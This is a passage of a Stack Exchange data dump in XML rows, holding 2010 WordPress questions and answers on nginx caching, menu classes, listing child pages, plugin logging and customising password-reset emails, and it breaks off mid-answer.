  <row Id="1224" PostTypeId="2" ParentId="1197" CreationDate="2010-09-02T03:13:34.070" Score="1" ViewCount="" Body="&lt;p&gt;Daniel,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I respectfully disagree with kenkeiter, I understand using nginx as a reverse proxy out in front of Apache. Harvard Law has had great success with this method and they have a great article on how they do this, with a link to their WordPress plugin which helps interface with nginx:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blogs.law.harvard.edu/djcp/2010/01/nginx-as-a-front-end-proxy-cache-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://blogs.law.harvard.edu/djcp/2010/01/nginx-as-a-front-end-proxy-cache-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What they discovered at Harvard Law was that, with nginx basically caching all requests in the front-end, it doesn't actually improve performance to use any other caching-type plugins in the backend, and is not worth the additional complexity. If you're serious about using nginx in this way, I recommend you take a look at that article about their experience and try to pare down the dynamic processes, including the WP-side caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some basic sleuthing like looking carefully at your Apache access and error logs to see what kinds of queries are actually having to be done dynamically and trying to reduce such cases may also be a good start.&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2010-09-02T03:13:34.070" />
  <row Id="1225" PostTypeId="2" ParentId="1162" CreationDate="2010-09-02T03:22:08.927" Score="0" ViewCount="" Body="&lt;p&gt;Very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.com&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you have to be diligent.&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2010-09-02T03:22:08.927" />
  <row Id="1226" PostTypeId="2" ParentId="1057" CreationDate="2010-09-02T03:35:38.253" Score="0" ViewCount="" Body="&lt;p&gt;I suggest that you just add all those yourself manually by coding them directly to your site's theme templates. This way, you don't have to deal with the additional overhead of loading (multiple) plugins into your installation (and we know that some plugins have some bloat to some extent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GA code, you'll probably want to add to your &lt;code&gt;footer.php&lt;/code&gt; file, while the rest would probably go to your &lt;code&gt;header.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only con I can think of is that you'll have to do this everytime you switch a theme --- but for most sites, the choice of theme is basically static anyway, so it's very negligible.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2010-09-02T03:35:38.253" />
  <row Id="1227" PostTypeId="2" ParentId="268" CreationDate="2010-09-02T03:54:15.873" Score="0" ViewCount="" Body="&lt;p&gt;Hey I think this may be what you're looking for. It's a free WordPress theme called Quality Control Theme for ticket tracking. From there you can customize it however you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://spencerfinnell.com/quality-control-theme/&quot; rel=&quot;nofollow&quot;&gt;http://spencerfinnell.com/quality-control-theme/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option will be the least amount of work for you because the framework is already there.&lt;/p&gt;&#xA;" OwnerUserId="676" LastActivityDate="2010-09-02T03:54:15.873" />
  <row Id="1228" PostTypeId="2" ParentId="1200" CreationDate="2010-09-02T05:23:14.527" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Ben,&lt;/strong&gt;&#xA;It could be a problem with Twitter's new Oauth rules that went into effect on August 31st.  Alex updated the plugin to work with Oauth but I am hearing a lot of people are having problems with it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you running the latest version of the plugin? Have you set up your Twitter app and api key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to note that php5 is required.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-02T05:23:14.527" CommentCount="1" />
  <row Id="1229" PostTypeId="2" ParentId="1198" CreationDate="2010-09-02T06:27:54.623" Score="0" ViewCount="" Body="&lt;p&gt;You could have 2 separate menus, as you already mention yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the list_pages twice. Once including your fixed pages and using the menu order as a parameter. And once using exclude as a parameter, excluding the items you use in your first menu. Just make sure to get them in one UL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could decide to make a list_pages for each separate page of the first four pages. Not sure if this is considered a neat or clean solution, though.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-02T06:27:54.623" />
  <row Id="1230" PostTypeId="1" AcceptedAnswerId="1250" CreationDate="2010-09-02T09:14:37.967" Score="4" ViewCount="1498" Body="&lt;p&gt;Is there a way of manually specifying which page is currently &quot;active&quot; when using wp_nav_menu() ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &quot;Products&quot; page, and on that page i have links to various (dynamic) custom taxonomies. When i click on one of these taxonomies i stay on the &quot;Products&quot; page but wp_nav_menu() loses reference to that fact that i'm still on the &quot;Products&quot; page. Is there a way i can force this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jon&lt;/p&gt;&#xA;" OwnerUserId="634" LastActivityDate="2010-09-02T16:25:58.423" Title="How to manually specify the current active page with wp_nav_menu()" Tags="&lt;custom-menus&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1231" PostTypeId="2" ParentId="1230" CreationDate="2010-09-02T09:32:10.597" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Jon&lt;/strong&gt;&#xA;As long as you are using &lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt; WordPress will assign the class &lt;code&gt;current_page_item&lt;/code&gt; to your menu along with &lt;code&gt;current_page_parent&lt;/code&gt; if your using drop down menus.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-02T09:32:10.597" CommentCount="1" />
  <row Id="1233" PostTypeId="1" AcceptedAnswerId="1234" CreationDate="2010-09-02T10:30:16.167" Score="3" ViewCount="223" Body="&lt;p&gt;Given that I can't access the dashboard/admin pages on my blog (that's a future question), and that I have shell access to my hosting server, can I find out the current version of WordPress from the command line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried grepping for the string '@since' in all the php files in the top level directory for the blog, and the latest I can see is 2.5...&lt;/p&gt;&#xA;" OwnerUserId="688" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-03T03:17:08.667" LastActivityDate="2010-09-03T03:17:08.667" Title="Determining WordPress' Version from the Host's Command Line?" Tags="&lt;dashboard&gt;&lt;command-line&gt;&lt;wordpress-version&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="1234" PostTypeId="2" ParentId="1233" CreationDate="2010-09-02T10:39:42.947" Score="7" ViewCount="" Body="&lt;p&gt;grep wp_version wp-includes/version.php&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2010-09-02T10:39:42.947" CommentCount="1" />
  <row Id="1235" PostTypeId="1" AcceptedAnswerId="1264" CreationDate="2010-09-02T12:01:11.563" Score="0" ViewCount="189" Body="&lt;p&gt;I have a page structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Home&#xA;-Cars&#xA;  -Volvo 640&#xA;   - Pics&#xA;   - Info&#xA;  -Porsche 911&#xA;   - Pics&#xA;   - Info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to generate a list of cars on the Cars page of all the cars (which are child pages of Cars). How would I do this? The list is basically a sub-menu which should show all the cars in alphabetical order  (note, I don't need links to the 'grandchildren' - Pics, Info). I also need to grab Custom Field data from each car page, and put that beside the link to the page.. is that possible?&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-09-02T12:09:20.657" LastActivityDate="2010-09-02T21:16:31.743" Title="How to generate a list of child pages, and use some of their custom fields?" Tags="&lt;custom-menus&gt;" AnswerCount="2" />
  <row Id="1236" PostTypeId="1" AcceptedAnswerId="1917" CreationDate="2010-09-02T12:19:05.733" Score="4" ViewCount="1489" Body="&lt;p&gt;I have created a custom post type and added various meta boxes/fields to this custom post type. All is working excellent except for one element...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of utilizing the default interface for selecting a taxonomy I would like to just have a drop down menu for the user to select from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea here is to enable the admins to add taxonomy elements which can be managed centrally however for a specific post to only be associated with one taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more, I would prefer to just add this drop down into one of my existing meta boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone happen to have any sample code which would enable me to complete this task?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-01-30T10:38:19.827" Title="Custom Post Type - Taxonomy Dropdown Menu?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;taxonomy&gt;&lt;metabox&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="5" />
  <row Id="1237" PostTypeId="2" ParentId="1064" CreationDate="2010-09-02T12:45:38.527" Score="0" ViewCount="" Body="&lt;p&gt;If you're able to install ImageMagick and LaTeX on your server, &lt;a href=&quot;http://sixthform.info/steve/wordpress/?p=13&quot; rel=&quot;nofollow&quot;&gt;LatexRender&lt;/a&gt; might be useful.&lt;/p&gt;&#xA;" OwnerUserId="689" LastActivityDate="2010-09-02T12:45:38.527" />
  <row Id="1238" PostTypeId="1" AcceptedAnswerId="1291" CreationDate="2010-09-02T13:42:38.607" Score="1" ViewCount="322" Body="&lt;p&gt;I would like to add a custom logo to my entire blog network's dashboard. I went trough a recipe on smashing magazine and got this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//hook the administrative header output&#xA;add_action('admin_head', 'my_custom_logo');&#xA;&#xA;function&#xA;my_custom_logo() {&#xA;    echo '&#xA;      &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;      #header-logo { background-image: url('.get_bloginfo('template_directory').'/images/custom-logo.gif) !important; }&#xA;      &amp;lt;/style&amp;gt;&#xA;    ';&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where do I add it? I think that I should add it in functions.php. But if so I should add the code to every theme in my mutlinetworks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one have idea to add it to the entire network?&#xA;I should also able to set only  for a particular sub and not to entire network If I change my mind in future :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-09-03T10:50:13.603" LastActivityDate="2010-09-03T10:50:13.603" CommunityOwnedDate="2010-09-02T13:42:38.607" Title="How do you add custom logo to entire themes" Tags="&lt;plugins&gt;" AnswerCount="3" />
  <row Id="1239" PostTypeId="2" ParentId="1238" CreationDate="2010-09-02T14:23:56.493" Score="1" ViewCount="" Body="&lt;p&gt;You might check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/white-label-cms/&quot; rel=&quot;nofollow&quot;&gt;White Label CMS&lt;/a&gt; plugin to automate this for you.&lt;/p&gt;&#xA;" OwnerUserId="656" LastActivityDate="2010-09-02T14:23:56.493" CommunityOwnedDate="2010-09-02T14:23:56.493" CommentCount="2" />
  <row Id="1240" PostTypeId="2" ParentId="1047" CreationDate="2010-09-02T14:26:00.433" Score="0" ViewCount="" Body="&lt;p&gt;If you have FTP access, go to wp-content/plugins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;delete the folder having the name of the plugin and you are done&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-02T14:26:00.433" />
  <row Id="1241" PostTypeId="1" CreationDate="2010-09-02T14:34:26.007" Score="0" ViewCount="231" Body="&lt;p&gt;I would like to &quot;omit&quot; certain blogs from the regular BuddyPress blog loop. Either by blog ID or blog Name is fine. Has anyone had success doing this?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T12:05:33.027" LastActivityDate="2011-04-25T12:05:33.027" Title="Customizing the BuddyPress  blog loop" Tags="&lt;buddypress&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="1242" PostTypeId="1" AcceptedAnswerId="10925" CreationDate="2010-09-02T14:37:04.480" Score="4" ViewCount="160" Body="&lt;p&gt;Is there a recommended way to log (failed) cron actions from your plugin? For example, I have a plugin that synchronizes with an external service every hour. I want to log how much was changed, but also when the synchronization failed. What would you recommend here? A new database table? The &lt;a href=&quot;http://wordpress.org/extend/plugins/log-deprecated-notices/&quot; rel=&quot;nofollow&quot;&gt;Log Deprecated Notices&lt;/a&gt; plugin does this with a custom post type, but this might be too much overhead? I believe &lt;a href=&quot;http://core.trac.wordpress.org/ticket/5669&quot; rel=&quot;nofollow&quot;&gt;WordPress does not come with a standard logging package&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-09-02T14:44:13.273" LastActivityDate="2011-03-02T19:27:45.263" Title="How do I log plugin (cron) actions?" Tags="&lt;plugin-development&gt;&lt;cron&gt;&lt;logging&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="1243" PostTypeId="2" ParentId="1200" CreationDate="2010-09-02T14:39:54.167" Score="0" ViewCount="" Body="&lt;p&gt;I would suggest a problem with your excluder setup.  As you say the fact that the blog posts are being created demonstrates the successful connection to twitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would disable the excluder plugin and force it to manually update on the twitter tools settings page.  If your tweets show then I would re-enable the plugin and work within its settings to correct the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-02T14:39:54.167" CommentCount="1" />
  <row Id="1244" PostTypeId="2" ParentId="1198" CreationDate="2010-09-02T15:09:06.467" Score="3" ViewCount="" Body="&lt;p&gt;Based on your comments here is another option , using wp_list_pages and without having to work with arrays and pulling content manually, I'm leaving out a bunch of the options, just the bare essentials.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;  $priority_pages = '5,1,3,7';&#xA;  wp_list_pages(array('include' =&amp;gt; $priority_pages);&#xA;  wp_list_pages(array('exclude' =&amp;gt; $priority_pages);&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since, wp_list_pages, just gives you the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements, you can use this function a couple of times to pull all the pages you need. So now you can only get the pages you want out the top, and then pull in the rest. You can use all the rest of the options to sort and filter the tree like normal (Note, I like using arrays instead of the string, code looks cleaner IMO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages#Include_Pages_in_List&quot; rel=&quot;nofollow&quot;&gt;codex page for wp_list_pages&lt;/a&gt; for more options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a list of ID's with what you want. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $my_wp_query = new WP_Query();&#xA;  $all_wp_pages = $my_wp_query-&amp;gt;query(array('post_type' =&amp;gt; 'page'));&#xA;&#xA;  $parent = $wp_query-&amp;gt;$post-ID;&#xA;  $children = $get_page_children($parent, $all_wp_pages);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What we have now is an array in &lt;code&gt;$children&lt;/code&gt; with the information we need. What I would at this point is loop through &lt;code&gt;$children&lt;/code&gt; looking for the filed &lt;code&gt;post_title&lt;/code&gt; to equal what you want, and store that &lt;code&gt;ID&lt;/code&gt;. With these store as an array, you would be able to use those with the include, exclude functions of &lt;code&gt;wp_list_pages&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So not 100% complete, but it will get you started&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $priority_pages_a = array();&#xA;  foreach($children as $child) {&#xA;    if(strpos($child-&amp;gt;post_title,&quot;Summary&quot;) {&#xA;      $priority_pages_a[0] = $child-&amp;gt;ID;&#xA;    } elseif (strpos($child-&amp;gt;post_title,&quot;Info&quot;) {&#xA;      $priority_pages_a[1] = $child-&amp;gt;ID;&#xA;    }&#xA;  }&#xA;&#xA;  $priority_pages = implode(&quot;,&quot;,$priority_pages_a);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What we've done is created an array that puts the ID into the array order that you want. Then implodes that into a comma separated string, for which you can use the &lt;code&gt;wp_list_pages&lt;/code&gt; to get the ones you want / need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;get_page_children&lt;/code&gt; doesn't touch the database, but the get all pages does :/ so it's a wash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this code altogether, but it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note there is a &lt;code&gt;get_page_by_title&lt;/code&gt;, so if your titles are exactly 'Summary' then you can use it to get the ID, but in your question you said contains, so I went with this route instead.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditorDisplayName="" LastEditDate="2010-09-02T17:54:05.403" LastActivityDate="2010-09-02T17:54:05.403" CommentCount="5" />
  <row Id="1245" PostTypeId="2" ParentId="1047" CreationDate="2010-09-02T15:16:54.570" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/youtuber/&quot; rel=&quot;nofollow&quot;&gt;Youtuber plugin&lt;/a&gt; has a little error: it has a function to remove it's own options, called &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/youtuber/tags/1.5.6/youtuber.php#L268&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_youtuber_uninstall&lt;/code&gt;&lt;/a&gt;. However, &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/youtuber/tags/1.5.6/youtuber.php#L31&quot; rel=&quot;nofollow&quot;&gt;it hooks into the &lt;code&gt;deactivate_plugin&lt;/code&gt; option with the function &lt;code&gt;youtuber_uninstall&lt;/code&gt;&lt;/a&gt;, which does not exist. This &lt;a href=&quot;http://wordpress.org/support/topic/plugin-youtuber-bugs-found-installuninstall&quot; rel=&quot;nofollow&quot;&gt;has been reported in the WP support forums&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove the line that says &lt;code&gt;add_action('deactivate_plugin', 'youtuber_uninstall' );&lt;/code&gt; to get rid of this error. In fact, be happy that it doesn't work, because the &lt;code&gt;wp_youtuber_uninstall&lt;/code&gt; function should check &lt;em&gt;which&lt;/em&gt; plugin is being uninstalled right now, and only clean up when it is remove itself. Right now, it would remove its own options every time &lt;em&gt;any&lt;/em&gt; plugin is uninstalled.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-02T15:16:54.570" CommentCount="1" />
  <row Id="1246" PostTypeId="2" ParentId="1242" CreationDate="2010-09-02T15:26:12.807" Score="2" ViewCount="" Body="&lt;p&gt;I agree, putting this data in &lt;code&gt;wp_posts&lt;/code&gt; could potentially make the table grow quickly to an unmanageable size. It's fine to create a table. I would go the extra mile and give someone a way to cleanup the log table in the event they stop using their plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not afraid of plugins that create tables, but maybe that's because I've seen WordPress databases with 8,000,000 &lt;code&gt;wp_term_relationships&lt;/code&gt; records and 300,000 posts and I know how unpleasant that experience can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dbDelta()&lt;/code&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_activation_hook&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_activation_hook()&lt;/code&gt;&lt;/a&gt; will be your friends, here. See &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;Creating Tables with Plugins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-02T15:26:12.807" />
  <row Id="1247" PostTypeId="2" ParentId="1233" CreationDate="2010-09-02T15:34:32.710" Score="2" ViewCount="" Body="&lt;p&gt;You can also just go to &lt;a href=&quot;http://site.url/readme.html&quot; rel=&quot;nofollow&quot;&gt;http://site.url/readme.html&lt;/a&gt; in a web browser.  The readme file ships with every version of WordPress and displays the installed version number prominently at the top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you can view your site's front-end (I know you said you can't access the dashboard, so I'm just assuming your blog is public), you can &quot;view source&quot; to see the installed version number.  There's a meta tag called &lt;code&gt;generator&lt;/code&gt; that displays the current WordPress version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;meta name=&quot;generator&quot; content=&quot;WordPress 3.0.1&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to use &lt;code&gt;grep&lt;/code&gt; at all ...&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-02T15:34:32.710" />
  <row Id="1248" PostTypeId="1" AcceptedAnswerId="1252" CreationDate="2010-09-02T16:11:20.243" Score="2" ViewCount="133" Body="&lt;p&gt;I'm trying to get wordpress to highlight a specific item in my menu when a post (any post) is viewed. I'm thinking that adding the post to the menu item, then suppressing display of sub-menus might help, but my 'Menus configuration' page doesn't show posts as items to add to the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why that is, or if there's a better alternative to this method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a copy of the default twentyten theme which calls &lt;code&gt;wp_nav_menu&lt;/code&gt; in &lt;code&gt;header.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2010-12-07T23:34:54.680" Title="How do I add a post to a menu" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1249" PostTypeId="2" ParentId="1236" CreationDate="2010-09-02T16:11:59.460" Score="1" ViewCount="" Body="&lt;p&gt;I don't have code to do this, but it should be simple: create a dropdown named &lt;code&gt;tax_input[your_taxonomy_name]&lt;/code&gt;, where the values are id's if your taxonomy is hierarchical (like categories), values if not (like tags). If you use this name, I think it is saved automatically, without extra code from you. You can create the dropdown with the &lt;code&gt;wp_dropdown_categories&lt;/code&gt; function, pass the &lt;code&gt;selected&lt;/code&gt; option with the taxonomy term that should be selected. The callback function that creates the meta box gets the &lt;code&gt;$post&lt;/code&gt; parameter, so you can get the current taxonomy term from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable the meta box that would normally be added, you could set &lt;code&gt;show_ui&lt;/code&gt; to false when creating the taxonomy, or remove the meta box before it is drawn (I think the &lt;code&gt;add_meta_boxes&lt;/code&gt; hook is a good place). It will have the id &lt;code&gt;tagsdiv-your_taxonomy_name&lt;/code&gt; if it is not hierarchical, or &lt;code&gt;your_taxonomy_namediv&lt;/code&gt; if it is.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-09-03T09:26:47.710" LastActivityDate="2010-09-03T09:26:47.710" CommentCount="3" />
  <row Id="1250" PostTypeId="2" ParentId="1230" CreationDate="2010-09-02T16:25:58.423" Score="5" ViewCount="" Body="&lt;p&gt;If you just want to add the &lt;code&gt;current_page_item&lt;/code&gt; class to one menu item, you could hook up to the &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter, and add that class if needed. It is called &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/nav-menu-template.php#L76&quot; rel=&quot;nofollow&quot;&gt;when the menu is printed&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want access to the whole menu and add classes, hook in to the &lt;code&gt;wp_get_nav_menu_items&lt;/code&gt; filter, where you get the whole &lt;code&gt;$items&lt;/code&gt; array. You can edit the &lt;code&gt;classes&lt;/code&gt; properties of individual items.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-02T16:25:58.423" CommentCount="1" />
  <row Id="1251" PostTypeId="1" AcceptedAnswerId="1253" CreationDate="2010-09-02T16:48:30.420" Score="3" ViewCount="726" Body="&lt;p&gt;Can I customize and edit the subject field in the &quot;Password Reset&quot; notification mails sent from our multisite blogs? I have tried some plugins like My brand login and white label CMS  etc. But I can't edit this in password reset notifications .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone help me understand how to edit it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I tried with another installation .But it is not making any change.The Word 'wordpress' in from mail address is still there.I have added -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_filter ( 'wp_mail_from_name', 'my_filter_that_outputs_the_new_name' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to the code given by Doug .Am  I missing something?Could you help me to solve this?&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-12-11T13:24:25.437" LastActivityDate="2010-12-11T13:24:25.437" Title="Customizing the Subject Field in WordPress' Notification Emails?" Tags="&lt;customization&gt;&lt;email&gt;&lt;notifications&gt;" AnswerCount="1" />
  <row Id="1252" PostTypeId="2" ParentId="1248" CreationDate="2010-09-02T16:52:24.427" Score="3" ViewCount="" Body="&lt;p&gt;You should be able to take the body class (single) and the nav item class (to be determined) and specify the style you'd like to show in the stylesheet.  Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.single .topnav-item-29 {color: #fff; background: #333;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="701" LastActivityDate="2010-09-02T16:52:24.427" CommentCount="1" />
  <row Id="1253" PostTypeId="2" ParentId="1251" CreationDate="2010-09-02T16:59:53.877" Score="5" ViewCount="" Body="&lt;p&gt;You can &lt;a href=&quot;http://codex.wordpress.org/Plugin_API#Filters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;change them using a filter&lt;/strong&gt;&lt;/a&gt;. The filter hooks you want to use are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For the &lt;strong&gt;first email&lt;/strong&gt; message (confirming they really want to reset the password): &#xA;&lt;p&gt;&#xA;&lt;ul&gt;&#xA;   &lt;li&gt;&lt;code&gt;'retrieve_password_title'&lt;/code&gt; &#xA;   &lt;li&gt;&lt;code&gt;'retrieve_password_message'&lt;/code&gt; &#xA;&lt;/ul&gt;&#xA;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;For the &lt;strong&gt;follow-up email&lt;/strong&gt; message (sending the new username and password):&#xA;&lt;p&gt;&lt;ul&gt;&#xA;   &lt;li&gt;&lt;code&gt;'password_reset_title'&lt;/code&gt;&#xA;   &lt;li&gt;&lt;code&gt;'password_reset_message'&lt;/code&gt; &#xA;&lt;/ul&gt;&#xA;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; To create and use these filters, put the following or similar code in your &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_retrieve_password_subject_filter($old_subject) {&#xA;    // $old_subject is the default subject line created by WordPress.&#xA;    // (You don't have to use it.)&#xA;&#xA;    $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);&#xA;    $subject = sprintf( __('[%s] Password Reset'), $blogname );&#xA;    // This is how WordPress creates the subject line. It looks like this:&#xA;    // [Doug's blog] Password Reset&#xA;    // You can change this to fit your own needs.&#xA;&#xA;    // You have to return your new subject line:&#xA;    return $subject;&#xA;}&#xA;&#xA;function my_retrieve_password_message_filter($old_message, $key) {&#xA;    // $old_message is the default message already created by WordPress.&#xA;    // (You don't have to use it.)&#xA;    // $key is the password-like token that allows the user to get &#xA;    // a new password&#xA;&#xA;    $message = __('Someone has asked to reset the password for the following site and username.') . &quot;\r\n\r\n&quot;;&#xA;    $message .= network_site_url() . &quot;\r\n\r\n&quot;;&#xA;    $message .= sprintf(__('Username: %s'), $user_login) . &quot;\r\n\r\n&quot;;&#xA;    $message .= __('To reset your password visit the following address, otherwise just ignore this email and nothing will happen.') . &quot;\r\n\r\n&quot;;&#xA;    $message .= network_site_url(&quot;wp-login.php?action=rp&amp;amp;key=$key&amp;amp;login=&quot; . rawurlencode($user_login), 'login') . &quot;\r\n&quot;;&#xA;&#xA;    // This is how WordPress creates the message. &#xA;    // You can change this to meet your own needs.&#xA;&#xA;    // You have to return your new message:&#xA;    return $message;&#xA;}&#xA;&#xA;// To get these filters up and running:&#xA;add_filter ( 'retrieve_password_title', 'my_retrieve_password_subject_filter', 10, 1 );&#xA;add_filter ( 'retrieve_password_message', 'my_retrieve_password_message_filter', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would do something similar if you also want to modify the &lt;strong&gt;follow-up email&lt;/strong&gt;. Use the &lt;a 